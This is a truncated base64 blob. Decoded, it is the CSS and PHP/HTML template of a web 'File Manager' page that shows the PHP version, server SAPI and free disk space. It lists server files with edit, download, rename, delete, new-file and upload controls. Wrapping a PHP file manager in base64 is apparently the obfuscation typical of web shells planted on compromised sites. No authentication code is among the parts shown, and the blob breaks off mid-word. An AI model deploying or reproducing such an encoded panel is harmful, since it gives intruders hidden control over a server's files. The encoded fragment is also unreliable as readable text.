KLmZsYXNoIC5wYXRoIHsNCiAgICBmb250LWZhbWlseTogdWktbW9ub3NwYWNlLCBtb25vc3BhY2U7DQogICAgYmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjQpOw0KICAgIHBhZGRpbmc6IDJweCA4cHg7DQogICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgIGNvbG9yOiB2YXIoLS1hY2NlbnQpOw0KICAgIHdvcmQtYnJlYWs6IGJyZWFrLWFsbDsNCiAgICBtYXJnaW4tbGVmdDogNHB4Ow0KfQ0KQGtleWZyYW1lcyBzbGlkZSB7IGZyb20geyBvcGFjaXR5OjA7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNnB4KTsgfSB0byB7IG9wYWNpdHk6MTsgdHJhbnNmb3JtOm5vbmU7IH0gfQ0KLmZsYXNoLW9rIHsgYmFja2dyb3VuZDogcmdiYSgwLDI1NSwxMzYsMC4wOCk7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMCwyNTUsMTM2LDAuMyk7IGNvbG9yOiB2YXIoLS1hY2NlbnQpOyB9DQouZmxhc2gtZXJyIHsgYmFja2dyb3VuZDogcmdiYSgyNTUsNjgsNjgsMC4wOCk7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMjU1LDY4LDY4LDAuMyk7IGNvbG9yOiB2YXIoLS1kYW5nZXIpOyB9DQouZmxhc2gtd2FybiB7IGJhY2tncm91bmQ6IHJnYmEoMjU1LDE3MCwwLDAuMDgpOyBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwxNzAsMCwwLjMpOyBjb2xvcjogdmFyKC0td2Fybik7IH0NCg0KLmNhcmQgew0KICAgIGJhY2tncm91bmQ6IHZhcigtLXBhbmVsKTsNCiAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgIGJvcmRlci1yYWRpdXM6IDE2cHg7DQogICAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCnRhYmxlIHsgd2lkdGg6IDEwMCU7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IH0NCnRoLCB0ZCB7IHBhZGRpbmc6IDEycHggMTZweDsgdGV4dC1hbGlnbjogbGVmdDsgfQ0KdGggew0KICAgIGJhY2tncm91bmQ6IHZhcigtLXBhbmVsLTIpOw0KICAgIGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7DQogICAgZm9udC13ZWlnaHQ6IDUwMDsNCiAgICBmb250LXNpemU6IDEycHg7DQogICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICBsZXR0ZXItc3BhY2luZzogMC41cHg7DQogICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQp9DQp0Ym9keSB0ciB7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOyB0cmFuc2l0aW9uOiBiYWNrZ3JvdW5kIC4xMnM7IH0NCnRib2R5IHRyOmxhc3QtY2hpbGQgeyBib3JkZXItYm90dG9tOiBub25lOyB9DQp0Ym9keSB0cjpob3ZlciB7IGJhY2tncm91bmQ6IHZhcigtLXBhbmVsLTIpOyB9DQp0ZCB7IGZvbnQtc2l6ZTogMTNweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgfQ0KdGQubmFtZSB7IGNvbG9yOiB2YXIoLS10ZXh0KTsgZm9udC13ZWlnaHQ6IDUwMDsgfQ0KdGQubmFtZSBhIHsgY29sb3I6IGluaGVyaXQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgZGlzcGxheTogZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZ2FwOiAxMHB4OyB9DQp0ZC5uYW1lIGE6aG92ZXIgeyBjb2xvcjogdmFyKC0tYWNjZW50KTsgfQ0KdGQuYWN0aW9ucyB7IHdoaXRlLXNwYWNlOiBub3dyYXA7IHRleHQtYWxpZ246IHJpZ2h0OyB9DQp0ZC5hY3Rpb25zIGZvcm0geyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IG1hcmdpbjogMCAxcHg7IH0NCi5pY29uIHsNCiAgICBkaXNwbGF5OiBpbmxpbmUtZ3JpZDsgcGxhY2UtaXRlbXM6IGNlbnRlcjsNCiAgICB3aWR0aDogMjhweDsgaGVpZ2h0OiAyOHB4Ow0KICAgIGJhY2tncm91bmQ6IHZhcigtLXBhbmVsLTMpOw0KICAgIGJvcmRlci1yYWRpdXM6IDZweDsNCiAgICBmb250LXNpemU6IDE0cHg7DQogICAgZmxleC1zaHJpbms6IDA7DQp9DQouaWNvbi5kaXIgeyBiYWNrZ3JvdW5kOiByZ2JhKDAsMjU1LDEzNiwwLjEpOyB9DQouaWNvbi5waHAgeyBiYWNrZ3JvdW5kOiByZ2JhKDEzOSw5MiwyNDYsMC4xNSk7IGNvbG9yOiAjYjc5NGY0OyB9DQouaWNvbi5pbWcgeyBiYWNrZ3JvdW5kOiByZ2JhKDc0LDE2OCwyNTUsMC4xNSk7IGNvbG9yOiB2YXIoLS1pbmZvKTsgfQ0KLmljb24ucGRmIHsgYmFja2dyb3VuZDogcmdiYSgyNTUsNjgsNjgsMC4xNSk7IGNvbG9yOiB2YXIoLS1kYW5nZXIpOyB9DQouaWNvbi5hcmMgeyBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwxNzAsMCwwLjE1KTsgY29sb3I6IHZhcigtLXdhcm4pOyB9DQouaWNvbi52aWQsIC5pY29uLmF1ZCB7IGJhY2tncm91bmQ6IHJnYmEoMjM2LDcyLDE1MywwLjE1KTsgY29sb3I6ICNmNDcyYjY7IH0NCi5pY29uLnR4dCwgLmljb24ubWQsIC5pY29uLmxvZywgLmljb24uY3N2LCAuaWNvbi5zcWwgeyBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwyNTUsMjU1LDAuMDUpOyB9DQouaWNvbi5qc29uLCAuaWNvbi54bWwgeyBiYWNrZ3JvdW5kOiByZ2JhKDc0LDE2OCwyNTUsMC4xNSk7IGNvbG9yOiB2YXIoLS1pbmZvKTsgfQ0KLmljb24uaHRtbCwgLmljb24uY3NzLCAuaWNvbi5qcyB7IGJhY2tncm91bmQ6IHJnYmEoMCwyNTUsMTM2LDAuMSk7IH0NCi5zaXplIHsgZm9udC12YXJpYW50LW51bWVyaWM6IHRhYnVsYXItbnVtczsgfQ0KLnBlcm0geyBmb250LWZhbWlseTogdWktbW9ub3NwYWNlLCBtb25vc3BhY2U7IGZvbnQtc2l6ZTogMTJweDsgfQ0KLnBlcm0tciB7IGNvbG9yOiB2YXIoLS1hY2NlbnQpOyB9DQoucGVybS1ybyB7IGNvbG9yOiB2YXIoLS13YXJuKTsgfQ0KDQouZW1wdHkgeyB0ZXh0LWFsaWduOiBjZW50ZXI7IHBhZGRpbmc6IDgwcHggMjBweDsgY29sb3I6IHZhcigtLXRleHQtbXV0ZSk7IH0NCi5lbXB0eSAuaWNvbi1sZyB7IGZvbnQtc2l6ZTogNDhweDsgb3BhY2l0eTogMC4zOyBtYXJnaW4tYm90dG9tOiAxMnB4OyB9DQoNCi5tb2RhbC1iZyB7DQogICAgcG9zaXRpb246IGZpeGVkOyBpbnNldDogMDsNCiAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuNzUpOw0KICAgIGJhY2tkcm9wLWZpbHRlcjogYmx1cig2cHgpOw0KICAgIHotaW5kZXg6IDEwMDsNCiAgICBkaXNwbGF5OiBub25lOw0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7IGp1c3RpZnktY29udGVudDogY2VudGVyOw0KICAgIHBhZGRpbmc6IDIwcHg7DQp9DQoubW9kYWwtYmcub3BlbiB7IGRpc3BsYXk6IGZsZXg7IH0NCi5tb2RhbCB7DQogICAgYmFja2dyb3VuZDogdmFyKC0tcGFuZWwpOw0KICAgIGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgYm9yZGVyLXJhZGl1czogMTZweDsNCiAgICB3aWR0aDogMTAwJTsgbWF4LXdpZHRoOiA0ODBweDsNCiAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgIGFuaW1hdGlvbjogcG9wIC4ycyBlYXNlOw0KfQ0KQGtleWZyYW1lcyBwb3AgeyBmcm9tIHsgdHJhbnNmb3JtOiBzY2FsZSgwLjk1KTsgb3BhY2l0eTogMDsgfSB0byB7IHRyYW5zZm9ybTogc2NhbGUoMSk7IG9wYWNpdHk6IDE7IH0gfQ0KLm1vZGFsLWhlYWQgeyBwYWRkaW5nOiAxOHB4IDIycHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOyBkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBnYXA6IDEwcHg7IGZvbnQtd2VpZ2h0OiA2MDA7IH0NCi5tb2RhbC1ib2R5IHsgcGFkZGluZzogMjBweCAyMnB4OyB9DQoubW9kYWwtZm9vdCB7IHBhZGRpbmc6IDE0cHggMjJweDsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGRpc3BsYXk6IGZsZXg7IGdhcDogOHB4OyBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kOyBiYWNrZ3JvdW5kOiB2YXIoLS1wYW5lbC0yKTsgfQ0KLm1vZGFsIGxhYmVsIHsgZGlzcGxheTogYmxvY2s7IGZvbnQtc2l6ZTogMTJweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgbWFyZ2luLWJvdHRvbTogNnB4OyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBsZXR0ZXItc3BhY2luZzogMC41cHg7IH0NCi5tb2RhbCBpbnB1dFt0eXBlPSJ0ZXh0Il0gew0KICAgIHdpZHRoOiAxMDAlOw0KICAgIGJhY2tncm91bmQ6IHZhcigtLWJnKTsNCiAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgIGNvbG9yOiB2YXIoLS10ZXh0KTsNCiAgICBwYWRkaW5nOiAxMHB4IDE0cHg7DQogICAgYm9yZGVyLXJhZGl1czogOHB4Ow0KICAgIGZvbnQtZmFtaWx5OiBpbmhlcml0Ow0KICAgIGZvbnQtc2l6ZTogMTRweDsNCn0NCi5tb2RhbCBpbnB1dFt0eXBlPSJ0ZXh0Il06Zm9jdXMgeyBvdXRsaW5lOiBub25lOyBib3JkZXItY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCi5tb2RhbCB0ZXh0YXJlYSB7DQogICAgd2lkdGg6IDEwMCU7DQogICAgbWluLWhlaWdodDogNjB2aDsNCiAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZyk7DQogICAgY29sb3I6IHZhcigtLXRleHQpOw0KICAgIGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgYm9yZGVyLXJhZGl1czogOHB4Ow0KICAgIHBhZGRpbmc6IDE0cHg7DQogICAgZm9udC1mYW1pbHk6IHVpLW1vbm9zcGFjZSwgIlNGIE1vbm8iLCBNb25hY28sIG1vbm9zcGFjZTsNCiAgICBmb250LXNpemU6IDEzcHg7DQogICAgbGluZS1oZWlnaHQ6IDEuNjsNCiAgICByZXNpemU6IHZlcnRpY2FsOw0KfQ0KLm1vZGFsIHRleHRhcmVhOmZvY3VzIHsgb3V0bGluZTogbm9uZTsgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyB9DQoubW9kYWwubGcgeyBtYXgtd2lkdGg6IDkwMHB4OyB9DQouZHJvcHpvbmUgew0KICAgIGJvcmRlcjogMnB4IGRhc2hlZCB2YXIoLS1ib3JkZXIpOw0KICAgIGJvcmRlci1yYWRpdXM6IDEycHg7DQogICAgcGFkZGluZzogMzJweCAyMHB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICBjdXJzb3I6IHBvaW50ZXI7DQogICAgdHJhbnNpdGlvbjogYWxsIC4xNXM7DQogICAgYmFja2dyb3VuZDogdmFyKC0tYmcpOw0KfQ0KLmRyb3B6b25lOmhvdmVyLCAuZHJvcHpvbmUub3ZlciB7IGJvcmRlci1jb2xvcjogdmFyKC0tYWNjZW50KTsgYmFja2dyb3VuZDogcmdiYSgwLDI1NSwxMzYsMC4wMyk7IH0NCi5kcm9wem9uZSAuaWNvbi1sZyB7IGZvbnQtc2l6ZTogNDBweDsgbWFyZ2luLWJvdHRvbTogOHB4OyBvcGFjaXR5OiAwLjc7IH0NCi5kcm9wem9uZSBpbnB1dCB7IGRpc3BsYXk6IG5vbmU7IH0NCi5maWxlLWxpc3QgeyBtYXJnaW4tdG9wOiAxMnB4OyBtYXgtaGVpZ2h0OiAxODBweDsgb3ZlcmZsb3cteTogYXV0bzsgfQ0KLmZpbGUtaXRlbSB7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgcGFkZGluZzogOHB4IDEycHg7IGJhY2tncm91bmQ6IHZhcigtLWJnKTsgYm9yZGVyLXJhZGl1czogNnB4OyBtYXJnaW4tYm90dG9tOiA0cHg7IGZvbnQtc2l6ZTogMTJweDsgfQ0KDQouZWRpdG9yLWhlYWQgeyBkaXNwbGF5OiBmbGV4OyBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXgtd3JhcDogd3JhcDsgZ2FwOiAxMHB4OyB9DQoNCkBtZWRpYSAobWF4LXdpZHRoOiA3NjhweCkgew0KICAgIC53cmFwIHsgcGFkZGluZzogMTJweDsgfQ0KICAgIC50b3BiYXIgeyBwYWRkaW5nOiAxNnB4IDIwcHg7IH0NCiAgICB0aCwgdGQgeyBwYWRkaW5nOiAxMHB4IDEycHg7IH0NCiAgICAuY29sLWRhdGUsIC5jb2wtcGVybSB7IGRpc3BsYXk6IG5vbmU7IH0NCiAgICB0ZC5uYW1lIGEgeyBnYXA6IDhweDsgfQ0KfQ0KDQo6Oi13ZWJraXQtc2Nyb2xsYmFyIHsgd2lkdGg6IDhweDsgaGVpZ2h0OiA4cHg7IH0NCjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZyk7IH0NCjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIgeyBiYWNrZ3JvdW5kOiB2YXIoLS1wYW5lbC0zKTsgYm9yZGVyLXJhZGl1czogNHB4OyB9DQo6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsgfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGRpdiBjbGFzcz0id3JhcCI+DQoNCjxkaXYgY2xhc3M9InRvcGJhciI+DQogICAgPGRpdiBjbGFzcz0iYnJhbmQiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJicmFuZC1sb2dvIj7wn5OCPC9kaXY+DQogICAgICAgIDxkaXY+DQogICAgICAgICAgICA8aDE+RmlsZSBNYW5hZ2VyPC9oMT4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN1YiI+PD89IGNvdW50KCRpdGVtcykgPz4gaXRlbTw/PSBjb3VudCgkaXRlbXMpIT09MT8ncyc6JycgPz4g4oCiIDw/PSBmbXRfc2l6ZShkaXNrX2ZyZWVfc3BhY2UoJFJPT1QpKSA/PiBmcmVlPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9InN0YXRzIj4NCiAgICAgICAgPHNwYW4+PGI+PD89IHBocF9zYXBpX25hbWUoKSA/PjwvYj48L3NwYW4+DQogICAgICAgIDxzcGFuPjxiPlBIUCA8Pz0gUEhQX1ZFUlNJT04gPz48L2I+PC9zcGFuPg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjw/cGhwIGlmICgkZmxhc2gpOiA/Pg0KPGRpdiBjbGFzcz0iZmxhc2ggZmxhc2gtPD89IGh0bWxzcGVjaWFsY2hhcnMoJGZsYXNoWyd0J10pID8+Ij4NCiAgICA8c3BhbiBzdHlsZT0iZmxleC1zaHJpbms6MDsgbWFyZ2luLXRvcDoycHg7Ij48Pz0gJGZsYXNoWyd0J109PT0nb2snPyfinJMnOigkZmxhc2hbJ3QnXT09PSdlcnInPyfinJUnOifimqAnKSA/Pjwvc3Bhbj4NCiAgICA8ZGl2IHN0eWxlPSJmbGV4OjE7Ij48Pz0gaHRtbHNwZWNpYWxjaGFycygkZmxhc2hbJ20nXSkgPz48L2Rpdj4NCjwvZGl2Pg0KPD9waHAgZW5kaWY7ID8+DQoNCjxkaXYgY2xhc3M9ImNydW1icyI+DQogICAgPD9waHANCiAgICAkcGFydHMgPSBhcnJheV9maWx0ZXIoZXhwbG9kZSgnLycsICRjdXJyZW50X3JlbCkpOw0KICAgICRhY2MgPSAnJzsNCiAgICAkZmlyc3QgPSB0cnVlOw0KICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcCk6DQogICAgICAgICRhY2MgLj0gJy8nIC4gJHA7DQogICAgICAgICRpc0xhc3QgPSAoJGFjYyA9PT0gJGN1cnJlbnRfcmVsKTsNCiAgICAgICAgaWYgKCEkZmlyc3QpIGVjaG8gJzxzcGFuIGNsYXNzPSJzZXAiPi88L3NwYW4+JzsNCiAgICAgICAgJGZpcnN0ID0gZmFsc2U7DQogICAgICAgIGlmICgkaXNMYXN0KTogPz4NCiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjcnVtYiBjdXJyZW50Ij48Pz0gaHRtbHNwZWNpYWxjaGFycygkcCkgPz48L3NwYW4+DQogICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICA8YSBocmVmPSI/cD08Pz0gdXJsZW5jb2RlKCRhY2MpID8+Ij48Pz0gaHRtbHNwZWNpYWxjaGFycygkcCkgPz48L2E+DQogICAgICAgIDw/cGhwIGVuZGlmOw0KICAgIGVuZGZvcmVhY2g7DQogICAgaWYgKGVtcHR5KCRwYXJ0cykpIGVjaG8gJzxzcGFuIGNsYXNzPSJjcnVtYiBjdXJyZW50Ij4vPC9zcGFuPic7DQogICAgPz4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJ0b29sYmFyIj4NCiAgICA8P3BocCBpZiAoJGN1cnJlbnQgIT09ICRST09UKToNCiAgICAgICAgJHBhcmVudF9yZWwgPSBkaXJuYW1lKCRjdXJyZW50X3JlbCk7DQogICAgICAgICRwYXJlbnRfbGluayA9ICgkcGFyZW50X3JlbCA9PT0gJy4nIHx8ICRwYXJlbnRfcmVsID09PSAnLycgfHwgJHBhcmVudF9yZWwgPT09ICdcXCcpID8gJy8nIDogJHBhcmVudF9yZWw7DQogICAgPz4NCiAgICAgICAgPGEgY2xhc3M9ImJ0biIgaHJlZj0iP3A9PD89IHVybGVuY29kZSgkcGFyZW50X2xpbmspID8+Ij7irIYgQmFjazwvYT4NCiAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiIG9uY2xpY2s9Im9wZW5Nb2RhbCgnbS1ta2RpcicpIj7wn5OBIE5ldyBGb2xkZXI8L2J1dHRvbj4NCiAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiIG9uY2xpY2s9Im9wZW5Nb2RhbCgnbS10b3VjaCcpIj7wn5OEIE5ldyBGaWxlPC9idXR0b24+DQogICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5IiBvbmNsaWNrPSJvcGVuTW9kYWwoJ20tdXBsb2FkJykiPuKshiBVcGxvYWQ8L2J1dHRvbj4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJjYXJkIj4NCjw/cGhwIGlmIChlbXB0eSgkaXRlbXMpKTogPz4NCiAgICA8ZGl2IGNsYXNzPSJlbXB0eSI+DQogICAgICAgIDxkaXYgY2xhc3M9Imljb24tbGciPvCfk4I8L2Rpdj4NCiAgICAgICAgPGgzPlRoaXMgZm9sZGVyIGlzIGVtcHR5PC9oMz4NCiAgICAgICAgPHA+Q3JlYXRlIGEgbmV3IGZpbGUgb3IgZm9sZGVyIHRvIGdldCBzdGFydGVkPC9wPg0KICAgIDwvZGl2Pg0KPD9waHAgZWxzZTogPz4NCjx0YWJsZT4NCjx0aGVhZD4NCjx0cj4NCiAgICA8dGggc3R5bGU9IndpZHRoOiA1MCU7Ij5OYW1lPC90aD4NCiAgICA8dGggY2xhc3M9ImNvbC1zaXplIj5TaXplPC90aD4NCiAgICA8dGggY2xhc3M9ImNvbC1kYXRlIj5Nb2RpZmllZDwvdGg+DQogICAgPHRoIGNsYXNzPSJjb2wtcGVybSI+UGVybXM8L3RoPg0KICAgIDx0aCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7Ij5BY3Rpb25zPC90aD4NCjwvdHI+DQo8L3RoZWFkPg0KPHRib2R5Pg0KPD9waHAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdCk6DQogICAgJGV4dCA9IGV4dF9jbGFzcygkaXRbJ25hbWUnXSk7DQogICAgJGljb24gPSAkaXRbJ2lzX2RpciddID8gJ/Cfk4EnIDogKA0KICAgICAgICBpbl9hcnJheSgkZXh0LCBbJ2ltZyddKT8n8J+WvCc6KGluX2FycmF5KCRleHQsWydwZGYnXSk/J/Cfk5UnOihpbl9hcnJheSgkZXh0LFsnYXJjJ10pPyfwn5OmJzooaW5fYXJyYXkoJGV4dCxbJ3ZpZCddKT8n8J+OrCc6KGluX2FycmF5KCRleHQsWydhdWQnXSk/J/CfjrUnOihpbl9hcnJheSgkZXh0LFsncGhwJ10pPyfwn5CYJzooaW5fYXJyYXkoJGV4dCxbJ2pzJywnY3NzJywnaHRtbCddKT8n8J+MkCc6KGluX2FycmF5KCRleHQsWydqc29uJywneG1sJ10pPyfwn5OLJzon8J+ThCcpKSkpKSkpKTsNCiAgICAkaHJlZiA9ICRpdFsnaXNfZGlyJ10gPyAnP3A9JyAuIHVybGVuY29kZSgkaXRbJ3JlbCddKSA6ICc/cD0nIC4gdXJsZW5jb2RlKCRjdXJyZW50X3JlbCkgLiAnJnZpZXc9JyAuIHVybGVuY29kZSgkaXRbJ3JlbCddKTsNCiAgICAkcGVybUNsYXNzID0gJGl0Wyd3cml0YWJsZSddID8gJ3Blcm0tcicgOiAncGVybS1ybyc7DQo/Pg0KPHRyPg0KICAgIDx0ZCBjbGFzcz0ibmFtZSI+DQogICAgICAgIDxhIGhyZWY9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRocmVmKSA/PiI+DQogICAgICAgICAgICA8c3BhbiBjbGFzcz0iaWNvbiA8Pz0gJGl0Wydpc19kaXInXT8nZGlyJzpodG1sc3BlY2lhbGNoYXJzKCRleHQpID8+Ij48Pz0gJGljb24gPz48L3NwYW4+DQogICAgICAgICAgICA8c3Bhbj48Pz0gaHRtbHNwZWNpYWxjaGFycygkaXRbJ25hbWUnXSkgPz48Pz0gJGl0Wydpc19kaXInXSA/ICcvJyA6ICcnID8+PC9zcGFuPg0KICAgICAgICA8L2E+DQogICAgPC90ZD4NCiAgICA8dGQgY2xhc3M9ImNvbC1zaXplIHNpemUiPjw/PSAkaXRbJ2lzX2RpciddID8gJ+KAlCcgOiBmbXRfc2l6ZSgkaXRbJ3NpemUnXSkgPz48L3RkPg0KICAgIDx0ZCBjbGFzcz0iY29sLWRhdGUiPjw/PSBkYXRlKCdNIGosIFkgSDppJywgJGl0WydtdGltZSddKSA/PjwvdGQ+DQogICAgPHRkIGNsYXNzPSJjb2wtcGVybSBwZXJtIDw/PSAkcGVybUNsYXNzID8+Ij48Pz0gJGl0WydwZXJtcyddID8+PC90ZD4NCiAgICA8dGQgY2xhc3M9ImFjdGlvbnMiPg0KICAgICAgICA8P3BocCBpZiAoISRpdFsnaXNfZGlyJ10pOiA/Pg0KICAgICAgICAgICAgPGEgY2xhc3M9ImJ0biBidG4tc20iIGhyZWY9Ij9wPTw/PSB1cmxlbmNvZGUoJGN1cnJlbnRfcmVsKSA/PiZlZGl0PTw/PSB1cmxlbmNvZGUoJGl0WydyZWwnXSkgPz4iPkVkaXQ8L2E+DQogICAgICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi1zbSIgaHJlZj0iP3A9PD89IHVybGVuY29kZSgkY3VycmVudF9yZWwpID8+JmRvd25sb2FkPTw/PSB1cmxlbmNvZGUoJGl0WydyZWwnXSkgPz4iPuKshyBEb3dubG9hZDwvYT4NCiAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20iIG9uY2xpY2s9Im9wZW5SZW5hbWUoJzw/PSBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0WyduYW1lJ10pLCBFTlRfUVVPVEVTKSA/PicsICc8Pz0gaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRpdFsncmVsJ10pLCBFTlRfUVVPVEVTKSA/PicpIj5SZW5hbWU8L2J1dHRvbj4NCiAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTppbmxpbmUiIG9uc3VibWl0PSJyZXR1cm4gY29uZmlybSgnRGVsZXRlIDw/PSBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0WyduYW1lJ10pLCBFTlRfUVVPVEVTKSA/Pj8gVGhpcyBjYW5ub3QgYmUgdW5kb25lLicpIj4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImRlbGV0ZSI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXQiIHZhbHVlPSI8Pz0gaHRtbHNwZWNpYWxjaGFycygkaXRbJ3JlbCddKSA/PiI+DQogICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1kYW5nZXIiIHR5cGU9InN1Ym1pdCI+RGVsZXRlPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCiAgICA8L3RkPg0KPC90cj4NCjw/cGhwIGVuZGZvcmVhY2g7ID8+DQo8L3Rib2R5Pg0KPC90YWJsZT4NCjw/cGhwIGVuZGlmOyA/Pg0KPC9kaXY+DQoNCjwvZGl2PjwhLS0gL3dyYXAgLS0+DQoNCjwhLS0gTW9kYWxzIC0tPg0KPGRpdiBjbGFzcz0ibW9kYWwtYmciIGlkPSJtLW1rZGlyIj4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWQiPvCfk4EgTmV3IEZvbGRlcjwvZGl2Pg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ibWtkaXIiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRhcmdldCIgdmFsdWU9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X3JlbCkgPz4iPg0KICAgICAgICAgICAgICAgIDxsYWJlbD5Gb2xkZXIgTmFtZTwvbGFiZWw+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHJlcXVpcmVkIGF1dG9mb2N1cz4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdCI+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4iIG9uY2xpY2s9ImNsb3NlTW9kYWwoJ20tbWtkaXInKSI+Q2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPkNyZWF0ZTwvYnV0dG9uPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZm9ybT4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJtb2RhbC1iZyIgaWQ9Im0tdG91Y2giPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZCI+8J+ThCBOZXcgRmlsZTwvZGl2Pg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0idG91Y2giPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRhcmdldCIgdmFsdWU9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X3JlbCkgPz4iPg0KICAgICAgICAgICAgICAgIDxsYWJlbD5GaWxlIE5hbWU8L2xhYmVsPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuYW1lIiByZXF1aXJlZCBhdXRvZm9jdXMgcGxhY2